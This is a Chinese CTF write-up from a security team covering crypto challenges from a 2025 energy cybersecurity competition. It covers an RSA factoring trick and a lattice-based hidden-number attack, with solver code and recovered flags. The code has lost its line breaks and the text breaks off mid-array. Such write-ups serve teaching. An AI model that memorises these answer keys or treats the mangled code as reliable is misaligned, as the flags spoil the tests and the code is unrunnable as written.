4月17日，2025年能源网络安全大赛团体预赛圆满落幕。作为网络安全领域的年度盛事，本次大赛吸引了众多技术精英的参与，赛题涵盖了从密码学、数据安全到Web安全等多个关键领域。山石网科安全技术研究院的两支参赛团队凭借扎实的技术功底和敏锐的解题思路，成功攻克了多个高难度赛题，成为社会组解题数最多的惨赛单位。今天，我们将为大家带来本次比赛的详细赛题解析，分享我们在比赛中的解题思路与技术细节，希望对大家有所帮助。
from Crypto.Util.number import *import hintflag=b'xxx'e=65537p=getPrime(512)q=getPrime(512)n=p*qm=bytes_to_long(flag)c=pow(m,e,n)k=getPrime(1024)assert hint + 233 * k == 233 * k * pprint(n)print(c)print(hint)# 84099006955126261966925371456202769943592466221370095794235167154956697927281125181449320270460637820908574232493978429962263974458426503598700104493216727535451616752760724333653967152401716945549285008242019874215196489846481143398374860288545040874468108191037481101604627874268575884573685952474988256841# 28098063654079651384124474197746356824080585622155888018279898490747561415908220072536298610509681898119018709183606442183944207485940115624047842734359988590155403601250406116023121958193303908964857108526965815235457652033182982467968474248778435731228104089366239566977364311197776651102290796373095167764# 411245630228311610573345621334618725748702407327926883063919892785851166202383809662483938501531987094884084543300939673794551515912845363503988032311234800260819110323258416786417746444373651130257247926678135654564298408894174083333804257126735899220917359603430399033328133462456659839525671074605146583034398735379485362144932899212206419889556154825755723979850750847762362288223441051219637465296077020565435562941976546609555729574021362954126496825972439730from random import randintfrom Cryptodome.Util.number import long_to_bytesfrom gmpy2 import gcd, inverte=65537n=84099006955126261966925371456202769943592466221370095794235167154956697927281125181449320270460637820908574232493978429962263974458426503598700104493216727535451616752760724333653967152401716945549285008242019874215196489846481143398374860288545040874468108191037481101604627874268575884573685952474988256841c=28098063654079651384124474197746356824080585622155888018279898490747561415908220072536298610509681898119018709183606442183944207485940115624047842734359988590155403601250406116023121958193303908964857108526965815235457652033182982467968474248778435731228104089366239566977364311197776651102290796373095167764hint=411245630228311610573345621334618725748702407327926883063919892785851166202383809662483938501531987094884084543300939673794551515912845363503988032311234800260819110323258416786417746444373651130257247926678135654564298408894174083333804257126735899220917359603430399033328133462456659839525671074605146583034398735379485362144932899212206419889556154825755723979850750847762362288223441051219637465296077020565435562941976546609555729574021362954126496825972439730a=2p = gcd(pow(a, hint, n)-1, n)q = n // pphi = (p-1) * (q-1)d = invert(e, phi)m = pow(c, d, n)print(long_to_bytes(m))#b'flag{a3878d9436b7c80e6ecfda33b7b0b840}'from Crypto.Util.number import *from secrets import flagassert len(flag) == 38p = getPrime(512)m = getPrime(512)while m > p: m = getPrime(512)aa = []cc = []bb = []for i in range(30): a = getPrime(512) b = getPrime(400) c = (a * m + b) % p aa.append(a) cc.append(c) bb.append(b)enc = pow(m,flag,p)print(f'p = {p}')print(f'aa = {aa}')print(f'cc = {cc}')print(f'enc = {enc}')# p = 0x83b05d231fd40ff8ca26b4fb8136dc920754c14412960ce2ec700457861d48fe74f3958fc3a153f77a23fb850ecf0ac1e9722c71b6cc8a104b372cc17bf1528f# aa = [0xf53f440f2e76b60380e68e96508f5dd716b2c3df2ed8265ced83a93fd61a708eeff31fbee9efa22fa7b441cbc406c210de6273f81eb7d093561d5c6394ef2abd,0xe9ecbd5457dcf1bdbc1a852b625c7a8ae6f530e348c2dc0416afd6a375aeb06d4800cc6471ae7d29681715d0407aa8726c32cd35e54960f56b0d9b47a2eed9ed,0x86a261c1590a774ced6c7db439e53e4068a8dbc0ad111a0e0371e8731fb939a068348d035da04afb9a3914a011574e35cefc4d5c5740f7cbc27459d944f51d15,0xba99a871d8f805e3c0dcd4e04cee66ec5e213a7902a65f2faa8e86368e56c42d09fde536b07471fff8f72db922725a24d6288d1bfe9edc2cd76b756eb464e1eb,0xa99efeb79377db6baa8787b5d2d2ebf123d8ec77e820d1b88644883a07c38498aa08df82cb9802c7fa128a5fa08b66c56a0805f70a78b7cb45b1a74bde095165,0xe6341800304b0a6f2de941432bb253f53a3c73c7b0f0382fd1ec4c882da5fd1b5151c619f9279de3767ae03af387c495c50c8c0ff79fd6c8acb51bd0b16afc23,0xa8670f7142e5d90e781e335d5e870188b94288defd8302c1b183bf20b5a3720be1ae1afe0ad937bc4678727e1daf262194c430086f3810447dfce721c8fb36a5,0xe9d150d4e7a7f82e89d26fcaa003579c8dfc25f4a50794175ae0a4407dd33e87eb5fded328155009548c002d2a3198afa356e1692a6bb820d8ae71ca6e506b35,0xd7ec72dd643449f5d21a32a11e2458d292c524b91b4b1a8515a5f8351717813f51a55c5675aa0eaa5c80a32d26aa385d7425e7d3e1e50936b2744a1534e3c7b7,0xaf5d8062f6bc03875b5fb10d0888d586cb08fa62709910cd7d931201d4d833d31d935003b801cac4fd51ef1e4db3bc13e41d740d7881560c0942faf9acca55d5,0xf63c4a5add0474bf6c4fb6617a2965e2474a2902c59bcc4243d5dcffa0f1aa0a6136e9c9093ea05d84a26888aaad63ec652602200141abdfcdc0d1912d208dbb,0xd65c8ef9b01085819f2f5f2dfbb7641521966600ddd7a03b886320328144ec42ed5585206744c8e1b5beb5502aff6f0cd01934890926bbb5387363b321dbb6bd,0x9bd7a0e9d4940126c9668de7e29e198ac38010d505b90e92ee560307b8a134545bbd0277f14e7651e91c5a9362207097e17888b9a49a889c672f76681f41962f,0xff387c4e94f47cba242936e80d620d3eeb203a1c7f365ae178b33b29ff3d8c2f932733d0605876c23942bae7f096b3ee457d02758796bda01bbcd3bd2e1229a1,0xbd6c24205cf5b9b2acc909296369ca77ef34ceac5f9900742a7ec37c00b94a56418d168d576d33383d9f782386524c4cecebc3a9fa68c81a5a6867de564d07e3,0x8850ac2051b6a7450f228e676abbfd510ce08a43a0b791182aedcfb6b3f1d478e3dc953e59eb99fe370f71d52af3a1625e0700078927f8a5919becbfa60af96b,0xfa474444b5372681c5b7316871cf9a93306b4d6a3eac2492c71780eb6903bd4ff77b1c4a28608dfa10c0c8b8bfc23942fc0a8ec64d3967504621e692eafcf4af,0xfd7f772c719929d33f15ce0122f6efc278b728d75dbd16a343c649e49118a79084d169d6db1b6b859e1f4c82694a850622dcdff23c8fbd7d0a736a409b94f471,0xedf6566ecd7f0a0beaa2f45a2a509358c9537dbf772e6f63ccb0e21b5c5c3dae0939e9e15c9bcdf80f7875e74ebfba16f0660737719c8ad435981b5b8df89a23,0xd7e718dafb753084cb7c1deee139f6e158a0228bbf9b0ae5ed3a8b3d2508ce62e4e32cd43a3135540b31e052e6e3a0dba3ae623c69d74da34387c3429b6f0487,0xbff5ab718c54909a34ba8ab5787cbfb0c9c57394350b71744d5751f577cefda87cc8263b21dd2c21a8f19fff8362c3371fcb054dddb1293df7d6efe2d661e4ab,0xb946ad47cf1f9186c1eeaeed12f21b41a29f9fb74b14f577c97731004b372c5f41023aafc9b93557c984ff87dd263b293aa500c3a2ce1f0815319263cf7c42d5,0x9b93853dc5f4c052fdda339f69c625bc98ffdbde439078458b84278e34542f9110863e5beef166a766f565f7a815ec4a462510b42f81454b65e648622c610b27,0xae050aaa86b9580747efa33561973597d7d7a0684a45219eed3224ebc37fdf067ed61a29ecaa501266c9bcdd16b850c0dd40da3f964a5b03ae60c3967fd55913,0xea57b0482a876d49a3e21bb885bda0aae21f5fcf2521f7e1db771998b6b639d0833c17d7c8c67c12ce9b60e4210e068f98344a8cabc5faa17a048100bab797bb,0x9f866ad27c9ea2fb29168ec6db0f7755221484d0c89bfef0cd70fc2ed14fda15f7b59bbca2e23f40b5effeb9e53ad821e06cf986b34da4407c85bfbf78d2920b,0xab0939605dcff5d1ec8405b6daeb65eccc6e3b5956601dddea95c6310ac32bfeec1bab6b83e85371078a16ea9489050175098d39488aaed2a190c647fe2b1b69,0xe85698e04d8bedbac2c7884c914b7026dbb1dd5134c4a5a8e7541b07c8a94ab3d2f12eb7f1171ccd564054e1dc63d5ac044e5c5552870b419fef35a572199239,0xea94663e103e4354fb7feb80b11d06c7e16feb7265f69ee882180baba70fa075df24e3fe1ad12a99f054cabf4a3f5e4823416d4c4daa02ca51ce3926034186db,0x93662718294005f4ac8f79b0799e240a05eea871ef07d623ea7c68ef818b3b55fb4f9b6f06c399726e59cec03389053b448f187404cddb93cb3c55e3d12cebc9]# cc = [0x4aae29aaaab89fbc672db400c41d1ad3ffce937e7810065bed552c12101fb778046d22b00c05bbc3f61825b5af3c3e57f1abaafe3d9a58a573a905e2a1cecde7,0x502a1c23ef44f174aaedb9a49705eb72f805bab13e82d599525ea7484cc11f2e7c4475526b4be344390e46bcb8bcdaba2768c6321f8ca5482666171eee498f28,0x546f2276b59b7186ef5b9a04e0ba2691648d005fc780303411a1082ea3b05be127a10e26921a4b84b14d8acc45a6c32a0142ac6eb396415ecb5841a01b775b5d,0x43986eb7208b66dd86c12f953e10b2d3907873151170278393b6a4f7ea518ab5745e2db5f4dbec84087c4817c5df10e743f35ed1190515aba34832b1b274bf2e,0x7b2e448342bc7409ed891cdbf5137014f417866097297302085d8800458495e374fba8398d069f1c1c7792a9f03194e36921c378308de18313fb9b62db45cc0a,0x41ac8f265bc96ae868256fb08caf0a43a547346522b5d90cb9489c87cd5d726447d20354332dd3cb771003eddfa9c4bfa6923ae45ac8c0994f7cce46a3302eea,0x51b59ad39b388fdb2056279e2de02d32d36b52da1cc1fe4f6843964273b4585704e21405e2528e5894bd4fdb436c382a5f7d3849f9c5d7902be74edd2b16a31c,0x4e52d207f16a6f42497b25600e039de3ce49d7945ac2201ac12bf9fa9b3dc136f35328cbe9d3f9d4204d90f29fe1ce209c8904c99de0f85c5c572d05609095a6,0x6485f505cd8296e9f1c9abdc39eebc6e767e98e1587b18878fa8a582a012bb609c2f36daffc2b9c460514bc47533525ce6835e7f8123331a833958fa47f2e40,0x1ff809e71ab0347a8a9ec4356d5b8fbf109ade5881e5b59ac14adaaef2034fc40880e495070442513f42434fa8cbfcd9bce0501574997b35939f201ba1c87872,0x5b3fad73b402fcc1148758d80a61f637257d35f2773c8dc9f22859a01aecaa37a37858232ab5b3e3622f234bf35bb02a6e93ecd5a06182b61e583d0193afaf55,0x640e3556a526209f8528fbe678da3914d912a7e701abc3d4fcd65d84bcdbfc22623dfa3db31f9585a615c6de869b39c040dbfe94bb7eafd91bde15c4b87bd2c0,0x335b0ff42f39541539752faade7510a301a861720d85958ce2890ddca9e0693b342604a5b134a0974ea21dc0dc0a156c01159898e5f87e16b4a56121c2e3bbb5,0x89621740ec8b81065457105685666dfe6e31ee4f0a6efa6901e20ad6e5ea19ba438ea92f632764e52ccfb1ed35639443b5536f19ca69e9c295c6f5287a5e31b,0x1e4162060327045be0f5a0ae5d7b87c60b928e4669450339af64a39ae45b108eb58bbe83e15bef7a5c92243b213adc3e9d3514632249314bf5b588df6202ae10,0x5d10e308a16f8cd5c53b3ecd1081624e6eed4c3bfe522a8b7daf301aa6fc370b0a1cff1db7ea27aa6f5200903b365c53bc6d890ca1167ca57de87f80c5321742,0x434ac82b1ed073a1d73606ffe973e316768368fb522644f6cc76d2a0e6b83f533524c7589113aeb2db35d50c2f9ff64ceb27958a93d47b6875b8eb9b158ebaac,0x7cf3028273ece2a8af9790d3a689875bf7a3894e351a639d88fa13de05dc7f18be20ddeef4414a31b0f3dd65291e5d4d47d098027dbec25d4bc5409c017f0b03,0x5d0eefe7de32360d7950d96d821ce06741b737a1dca016cb003f75e380f5c8e3d9b8505b0eda21b36879a6455d1f640bdac5ad648b97d80eacf406b57bb1d692,0x4e4c6156da7f71123e1b4efde4a436985c6f2cccdc9b182735a75153927c6e7dc94693ab7fdd8646821a9d42eeb76c1be54984f81296a10e689805975185bf2c,0x68db6b837d968569ba944591efb36587f0022b05cefbedaad1e1d7652d0c233d1c0b036364f25e0865c7a1dab8d9d1081f23928a3573b5ec711e5b7f32714a4,0x333db46bc5fb83cbbf68475fd612bcad6becd30f95bf5b9ab6058ed0777fcb78cfe6da5c3386799fe9a1d6616801154ae7f45e35612de08efed7e2e750088b8e,0x70d4dc8986c228e12329af934c08f7c0ca94ce6913b5c641c59b3cf629a1957f82d4f40aaa7faa765c75e4f994a8222a4d08e045fb529da5ee277e1b9540c148,0x20421569b3bc73da4505760f7798a504f2276e6df9c9e48320b23201fb682021d168f6ee657fc2080722eb576ac78bf4b63ad7419983a05196fa0724fc4886d,0x5f523df584f43d7eff229d562793c8e5d4713d9c80bd40b95434c34c982324f7c282ac2fe3ac151cb62435b85bece2ef115c6f4b7a33d47dcbfa8360f89b91ac,0x7cbedea149640064a93cb75b909804ee7a896e17da808579206d1db7523b98bdf15bdc70e267e0a201bf293f980c1b5304337a7a78cc655aca07b9818b7169ab,0x62b34eaac3d3a2b360805cc23147ff8754a9d90788461107a5c8cc7053a0910ca7af45035d333c9a0b7cf6a2c13c9c367ad8eea0ccda2a6d8e089b5ee07a76ef,0x3e1c31f988e238869fad4794beb32164fa3bf3880041d1f9f2a65e2679f951491fcbeff1aa067313bf02100ae15d1af4d87050db05cec934e077c3eec238b72,0x3c056ad33432e1cf5548ae3a6db21ee1471eb70619e0ad542bd38dd80f37b76b571ae6469bacd33f9618b7a61b8e8424fc33cae479375df72b064a5d1b8cd90f,0x4caf081f5b949e65115e18b613ad8dc1fc208d2c5bea710b27b1db11d4a7eecc455c13f2fd92481f8cfea3e6fa75c0a58a154f12b6ce92c66107f617fd7ed7d8]# enc = 0x191eb43459bd0f2d5ece00ab52c612668bb4c161014641a6e4afb41020465d7b82e9b60a55ab831bb5695f2fd832d08258c752ebf27ba0374b7b11b001b2629aHNP，即the Hidden Number Problem，隐藏数问题。本题中的是LHNP，即线性隐藏数问题。定义是从形如
的一组方程组恢复。
将单个方程可以转化为。
我们可以构造出矩阵：
from Crypto.Util.number import *p= 0x83b05d231fd40ff8ca26b4fb8136dc920754c14412960ce2ec700457861d48fe74f3958fc3a153f77a23fb850ecf0ac1e9722c71b6cc8a104b372cc17bf1528frs =[0xf53f440f2e76b60380e68e96508f5dd716b2c3df2ed8265ced83a93fd61a708eeff31fbee9efa22fa7b441cbc406c210de6273f81eb7d093561d5c6394ef2abd,0xe9ecbd5457dcf1bdbc1a852b625c7a8ae6f530e348c2dc0416afd6a375aeb06d4800cc6471ae7d29681715d0407aa8726c32cd35e54960f56b0d9b47a2eed9ed,0x86a261c1590a774ced6c7db439e53e4068a8dbc0ad111a0e0371e8731fb939a068348d035da04afb9a3914a011574e35cefc4d5c5740f7cbc27459d944f51d15,0xba99a871d8f805e3c0dcd4e04cee66ec5e213a7902a65f2faa8e86368e56c42d09fde536b07471fff8f72db922725a24d6288d1bfe9edc2cd76b756eb464e1eb,0xa99efeb79377db6baa8787b5d2d2ebf123d8ec77e820d1b88644883a07c38498aa08df82cb9802c7fa128a5fa08b66c56a0805f70a78b7cb45b1a74bde095165,0xe6341800304b0a6f2de941432bb253f53a3c73c7b0f0382fd1ec4c882da5fd1b5151c619f9279de3767ae03af387c495c50c8c0ff79fd6c8acb51bd0b16afc23,0xa8670f7142e5d90e781e335d5e870188b94288defd8302c1b183bf20b5a3720be1ae1afe0ad937bc4678727e1daf262194c430086f3810447dfce721c8fb36a5,0xe9d150d4e7a7f82e89d26fcaa003579c8dfc25f4a50794175ae0a4407dd33e87eb5fded328155009548c002d2a3198afa356e1692a6bb820d8ae71ca6e506b35,0xd7ec72dd643449f5d21a32a11e2458d292c524b91b4b1a8515a5f8351717813f51a55c5675aa0eaa5c80a32d26aa385d7425e7d3e1e50936b2744a1534e3c7b7,0xaf5d8062f6bc03875b5fb10d0888d586cb08fa62709910cd7d931201d4d833d31d935003b801cac4fd51ef1e4db3bc13e41d740d7881560c0942faf9acca55d5,0xf63c4a5add0474bf6c4fb6617a2965e2474a2902c59bcc4243d5dcffa0f1aa0a6136e9c9093ea05d84a26888aaad63ec652602200141abdfcdc0d1912d208dbb,0xd65c8ef9b01085819f2f5f2dfbb7641521966600ddd7a03b886320328144ec42ed5585206744c8e1b5beb5502aff6f0cd01934890926bbb5387363b321dbb6bd,0x9bd7a0e9d4940126c9668de7e29e198ac38010d505b90e92ee560307b8a134545bbd0277f14e7651e91c5a9362207097e17888b9a49a889c672f76681f41962f,0xff387c4e94f47cba242936e80d620d3eeb203a1c7f365ae178b33b29ff3d8c2f932733d0605876c23942bae7f096b3ee457d02758796bda01bbcd3bd2e1229a1,0xbd6c24205cf5b9b2acc909296369ca77ef34ceac5f9900742a7ec37c00b94a56418d168d576d33383d9f782386524c4cecebc3a9fa68c81a5a6867de564d07e3,0x8850ac2051b6a7450f228e676abbfd510ce08a43a0b791182aedcfb6b3f1d478e3dc953e59eb99fe370f71d52af3a1625e0700078927f8a5919becbfa60af96b,0xfa474444b5372681c5b7316871cf9a93306b4d6a3eac2492c71780eb6903bd4ff77b1c4a28608dfa10c0c8b8bfc23942fc0a8ec64d3967504621e692eafcf4af,0xfd7f772c719929d33f15ce0122f6efc278b728d75dbd16a343c649e49118a79084d169d6db1b6b859e1f4c82694a850622dcdff23c8fbd7d0a736a409b94f471,0xedf6566ecd7f0a0beaa2f45a2a509358c9537dbf772e6f63ccb0e21b5c5c3dae0939e9e15c9bcdf80f7875e74ebfba16f0660737719c8ad435981b5b8df89a23,0xd7e718dafb753084cb7c1deee139f6e158a0228bbf9b0ae5ed3a8b3d2508ce62e4e32cd43a3135540b31e052e6e3a0dba3ae623c69d74da34387c3429b6f0487,0xbff5ab718c54909a34ba8ab5787cbfb0c9c57394350b71744d5751f577cefda87cc8263b21dd2c21a8f19fff8362c3371fcb054dddb1293df7d6efe2d661e4ab,0xb946ad47cf1f9186c1eeaeed12f21b41a29f9fb74b14f577c97731004b372c5f41023aafc9b93557c984ff87dd263b293aa500c3a2ce1f0815319263cf7c42d5,0x9b93853dc5f4c052fdda339f69c625bc98ffdbde439078458b84278e34542f9110863e5beef166a766f565f7a815ec4a462510b42f81454b65e648622c610b27,0xae050aaa86b9580747efa33561973597d7d7a0684a45219eed3224ebc37fdf067ed61a29ecaa501266c9bcdd16b850c0dd40da3f964a5b03ae60c3967fd55913,0xea57b0482a876d49a3e21bb885bda0aae21f5fcf2521f7e1db771998b6b639d0833c17d7c8c67c12ce9b60e4210e068f98344a8cabc5faa17a048100bab797bb,0x9f866ad27c9ea2fb29168ec6db0f7755221484d0c89bfef0cd70fc2ed14fda15f7b59bbca2e23f40b5effeb9e53ad821e06cf986b34da4407c85bfbf78d2920b,0xab0939605dcff5d1ec8405b6daeb65eccc6e3b5956601dddea95c6310ac32bfeec1bab6b83e85371078a16ea9489050175098d39488aaed2a190c647fe2b1b69,0xe85698e04d8bedbac2c7884c914b7026dbb1dd5134c4a5a8e7541b07c8a94ab3d2f12eb7f1171ccd564054e1dc63d5ac044e5c5552870b419fef35a572199239,0xea94663e103e4354fb7feb80b11d06c7e16feb7265f69ee882180baba70fa075df24e3fe1ad12a99f054cabf4a3f5e4823416d4c4daa02ca51ce3926034186db,0x93662718294005f4ac8f79b0799e240a05eea871ef07d623ea7c68ef818b3b55fb4f9b6f06c399726e59cec03389053b448f187404cddb93cb3c55e3d12cebc9]cs =[0x4aae29aaaab89fbc672db400c41d1ad3ffce937e7810065bed552c12101fb778046d22b00c05bbc3f61825b5af3c3e57f1abaafe3d9a58a573a905e2a1cecde7,0x502a1c23ef44f174aaedb9a49705eb72f805bab13e82d599525ea7484cc11f2e7c4475526b4be344390e46bcb8bcdaba2768c6321f8ca5482666171eee498f28,0x546f2276b59b7186ef5b9a04e0ba2691648d005fc780303411a1082ea3b05be127a10e26921a4b84b14d8acc45a6c32a0142ac6eb396415ecb5841a01b775b5d,0x43986eb7208b66dd86c12f953e10b2d3907873151170278393b6a4f7ea518ab5745e2db5f4dbec84087c4817c5df10e743f35ed1190515aba34832b1b274bf2e,0x7b2e448342bc7409ed891cdbf5137014f417866097297302085d8800458495e374fba8398d069f1c1c7792a9f03194e36921c378308de18313fb9b62db45cc0a,0x41ac8f265bc96ae868256fb08caf0a43a547346522b5d90cb9489c87cd5d726447d20354332dd3cb771003eddfa9c4bfa6923ae45ac8c0994f7cce46a3302eea,0x51b59ad39b388fdb2056279e2de02d32d36b52da1cc1fe4f6843964273b4585704e21405e2528e5894bd4fdb436c382a5f7d3849f9c5d7902be74edd2b16a31c,0x4e52d207f16a6f42497b25600e039de3ce49d7945ac2201ac12bf9fa9b3dc136f35328cbe9d3f9d4204d90f29fe1ce209c8904c99de0f85c5c572d05609095a6,0x6485f505cd8296e9f1c9abdc39eebc6e767e98e1587b18878fa8a582a012bb609c2f36daffc2b9c460514bc47533525ce6835e7f8123331a833958fa47f2e40,0x1ff809e71ab0347a8a9ec4356d5b8fbf109ade5881e5b59ac14adaaef2034fc40880e495070442513f42434fa8cbfcd9bce0501574997b35939f201ba1c87872,0x5b3fad73b402fcc1148758d80a61f637257d35f2773c8dc9f22859a01aecaa37a37858232ab5b3e3622f234bf35bb02a6e93ecd5a06182b61e583d0193afaf55,0x640e3556a526209f8528fbe678da3914d912a7e701abc3d4fcd65d84bcdbfc22623dfa3db31f9585a615c6de869b39c040dbfe94bb7eafd91bde15c4b87bd2c0,0x335b0ff42f39541539752faade7510a301a861720d85958ce2890ddca9e0693b342604a5b134a0974ea21dc0dc0a156c01159898e5f87e16b4a56121c2e3bbb5,0x89621740ec8b81065457105685666dfe6e31ee4f0a6efa6901e20ad6e5ea19ba438ea92f632764e52ccfb1ed35639443b5536f19ca69e9c295c6f5287a5e31b,0x1e4162060327045be0f5a0ae5d7b87c60b928e4669450339af64a39ae45b108eb58bbe83e15bef7a5c92243b213adc3e9d3514632249314bf5b588df6202ae10,0x5d10e308a16f8cd5c53b3ecd1081624e6eed4c3bfe522a8b7daf301aa6fc370b0a1cff1db7ea27aa6f5200903b365c53bc6d890ca1167ca57de87f80c5321742,0x434ac82b1ed073a1d73606ffe973e316768368fb522644f6cc76d2a0e6b83f533524c7589113aeb2db35d50c2f9ff64ceb27958a93d47b6875b8eb9b158ebaac,0x7cf3028273ece2a8af9790d3a689875bf7a3894e351a639d88fa13de05dc7f18be20ddeef4414a31b0f3dd65291e5d4d47d098027dbec25d4bc5409c017f0b03,0x5d0eefe7de32360d7950d96d821ce06741b737a1dca016cb003f75e380f5c8e3d9b8505b0eda21b36879a6455d1f640bdac5ad648b97d80eacf406b57bb1d692,0x4e4c6156da7f71123e1b4efde4a436985c6f2cccdc9b182735a75153927c6e7dc94693ab7fdd8646821a9d42eeb76c1be54984f81296a10e689805975185bf2c,0x68db6b837d968569ba944591efb36587f0022b05cefbedaad1e1d7652d0c233d1c0b036364f25e0865c7a1dab8d9d1081f23928a3573b5ec711e5b7f32714a4,0x333db46bc5fb83cbbf68475fd612bcad6becd30f95bf5b9ab6058ed0777fcb78cfe6da5c3386799fe9a1d6616801154ae7f45e35612de08efed7e2e750088b8e,0x70d4dc8986c228e12329af934c08f7c0ca94ce6913b5c641c59b3cf629a1957f82d4f40aaa7faa765c75e4f994a8222a4d08e045fb529da5ee277e1b9540c148,0x20421569b3bc73da4505760f7798a504f2276e6df9c9e48320b23201fb682021d168f6ee657fc2080722eb576ac78bf4b63ad7419983a05196fa0724fc4886d,0x5f523df584f43d7eff229d562793c8e5d4713d9c80bd40b95434c34c982324f7c282ac2fe3ac151cb62435b85bece2ef115c6f4b7a33d47dcbfa8360f89b91ac,0x7cbedea149640064a93cb75b909804ee7a896e17da808579206d1db7523b98bdf15bdc70e267e0a201bf293f980c1b5304337a7a78cc655aca07b9818b7169ab,0x62b34eaac3d3a2b360805cc23147ff8754a9d90788461107a5c8cc7053a0910ca7af45035d333c9a0b7cf6a2c13c9c367ad8eea0ccda2a6d8e089b5ee07a76ef,0x3e1c31f988e238869fad4794beb32164fa3bf3880041d1f9f2a65e2679f951491fcbeff1aa067313bf02100ae15d1af4d87050db05cec934e077c3eec238b72,0x3c056ad33432e1cf5548ae3a6db21ee1471eb70619e0ad542bd38dd80f37b76b571ae6469bacd33f9618b7a61b8e8424fc33cae479375df72b064a5d1b8cd90f,0x4caf081f5b949e65115e18b613ad8dc1fc208d2c5bea710b27b1db11d4a7eecc455c13f2fd92481f8cfea3e6fa75c0a58a154f12b6ce92c66107f617fd7ed7d8]enc=0x191eb43459bd0f2d5ece00ab52c612668bb4c161014641a6e4afb41020465d7b82e9b60a55ab831bb5695f2fd832d08258c752ebf27ba0374b7b11b001b2629at = len(rs)kbits = 400K = 2 ** kbitsP = identity_matrix(t) * pRC = matrix([[-1, 0], [0, 1]]) * matrix([rs, cs])KP = matrix([[K / p, 0], [0, K]])M = block_matrix([[P, 0], [RC, KP]], subdivide=False)shortest_vector = M.LLL()x = shortest_vector[1, -2] / K * p % pprint(x)#x=6789891305297779556556571922812978922375073901749764215969003309869718878076269545304055843125301553103531252334876560433405451108895206969904268456786139G=GF(p)factors, exps = zip(*factor(p - 1))primes = [factors[i] ^ exps[i] for i in range(len(factors))]print(primes)dlogs = []for fac in primes[:-1]: t = (p - 1) // fac dlog = discrete_log(G(pow(enc, t, p)), G(pow(x, t, p))) dlogs += [dlog]s = (p - 1) // primes[-1]print(s)res = crt(dlogs, primes[:-1])for i in range(100):if b'flag{'in long_to_bytes(res + i * s): print(long_to_bytes(res + i * s))breakfrom Crypto.Util.number import *p= 0x83b05d231fd40ff8ca26b4fb8136dc920754c14412960ce2ec700457861d48fe74f3958fc3a153f77a23fb850ecf0ac1e9722c71b6cc8a104b372cc17bf1528frs =[0xf53f440f2e76b60380e68e96508f5dd716b2c3df2ed8265ced83a93fd61a708eeff31fbee9efa22fa7b441cbc406c210de6273f81eb7d093561d5c6394ef2abd,0xe9ecbd5457dcf1bdbc1a852b625c7a8ae6f530e348c2dc0416afd6a375aeb06d4800cc6471ae7d29681715d0407aa8726c32cd35e54960f56b0d9b47a2eed9ed,0x86a261c1590a774ced6c7db439e53e4068a8dbc0ad111a0e0371e8731fb939a068348d035da04afb9a3914a011574e35cefc4d5c5740f7cbc27459d944f51d15,0xba99a871d8f805e3c0dcd4e04cee66ec5e213a7902a65f2faa8e86368e56c42d09fde536b07471fff8f72db922725a24d6288d1bfe9edc2cd76b756eb464e1eb,0xa99efeb79377db6baa8787b5d2d2ebf123d8ec77e820d1b88644883a07c38498aa08df82cb9802c7fa128a5fa08b66c56a0805f70a78b7cb45b1a74bde095165,0xe6341800304b0a6f2de941432bb253f53a3c73c7b0f0382fd1ec4c882da5fd1b5151c619f9279de3767ae03af387c495c50c8c0ff79fd6c8acb51bd0b16afc23,0xa8670f7142e5d90e781e335d5e870188b94288defd8302c1b183bf20b5a3720be1ae1afe0ad937bc4678727e1daf262194c430086f3810447dfce721c8fb36a5,0xe9d150d4e7a7f82e89d26fcaa003579c8dfc25f4a50794175ae0a4407dd33e87eb5fded328155009548c002d2a3198afa356e1692a6bb820d8ae71ca6e506b35,0xd7ec72dd643449f5d21a32a11e2458d292c524b91b4b1a8515a5f8351717813f51a55c5675aa0eaa5c80a32d26aa385d7425e7d3e1e50936b2744a1534e3c7b7,0xaf5d8062f6bc03875b5fb10d0888d586cb08fa62709910cd7d931201d4d833d31d935003b801cac4fd51ef1e4db3bc13e41d740d7881560c0942faf9acca55d5,0xf63c4a5add0474bf6c4fb6617a2965e2474a2902c59bcc4243d5dcffa0f1aa0a6136e9c9093ea05d84a26888aaad63ec652602200141abdfcdc0d1912d208dbb,0xd65c8ef9b01085819f2f5f2dfbb7641521966600ddd7a03b886320328144ec42ed5585206744c8e1b5beb5502aff6f0cd01934890926bbb5387363b321dbb6bd,0x9bd7a0e9d4940126c9668de7e29e198ac38010d505b90e92ee560307b8a134545bbd0277f14e7651e91c5a9362207097e17888b9a49a889c672f76681f41962f,0xff387c4e94f47cba242936e80d620d3eeb203a1c7f365ae178b33b29ff3d8c2f932733d0605876c23942bae7f096b3ee457d02758796bda01bbcd3bd2e1229a1,0xbd6c24205cf5b9b2acc909296369ca77ef34ceac5f9900742a7ec37c00b94a56418d168d576d33383d9f782386524c4cecebc3a9fa68c81a5a6867de564d07e3,0x8850ac2051b6a7450f228e676abbfd510ce08a43a0b791182aedcfb6b3f1d478e3dc953e59eb99fe370f71d52af3a1625e0700078927f8a5919becbfa60af96b,0xfa474444b5372681c5b7316871cf9a93306b4d6a3eac2492c71780eb6903bd4ff77b1c4a28608dfa10c0c8b8bfc23942fc0a8ec64d3967504621e692eafcf4af,0xfd7f772c719929d33f15ce0122f6efc278b728d75dbd16a343c649e49118a79084d169d6db1b6b859e1f4c82694a850622dcdff23c8fbd7d0a736a409b94f471,0xedf6566ecd7f0a0beaa2f45a2a509358c9537dbf772e6f63ccb0e21b5c5c3dae0939e9e15c9bcdf80f7875e74ebfba16f0660737719c8ad435981b5b8df89a23,0xd7e718dafb753084cb7c1deee139f6e158a0228bbf9b0ae5ed3a8b3d2508ce62e4e32cd43a3135540b31e052e6e3a0dba3ae623c69d74da34387c3429b6f0487,0xbff5ab718c54909a34ba8ab5787cbfb0c9c57394350b71744d5751f577cefda87cc8263b21dd2c21a8f19fff8362c3371fcb054dddb1293df7d6efe2d661e4ab,0xb946ad47cf1f9186c1eeaeed12f21b41a29f9fb74b14f577c97731004b372c5f41023aafc9b93557c984ff87dd263b293aa500c3a2ce1f0815319263cf7c42d5,0x9b93853dc5f4c052fdda339f69c625bc98ffdbde439078458b84278e34542f9110863e5beef166a766f565f7a815ec4a462510b42f81454b65e648622c610b27,0xae050aaa86b9580747efa33561973597d7d7a0684a45219eed3224ebc37fdf067ed61a29ecaa501266c9bcdd16b850c0dd40da3f964a5b03ae60c3967fd55913,0xea57b0482a876d49a3e21bb885bda0aae21f5fcf2521f7e1db771998b6b639d0833c17d7c8c67c12ce9b60e4210e068f98344a8cabc5faa17a048100bab797bb,0x9f866ad27c9ea2fb29168ec6db0f7755221484d0c89bfef0cd70fc2ed14fda15f7b59bbca2e23f40b5effeb9e53ad821e06cf986b34da4407c85bfbf78d2920b,0xab0939605dcff5d1ec8405b6daeb65ec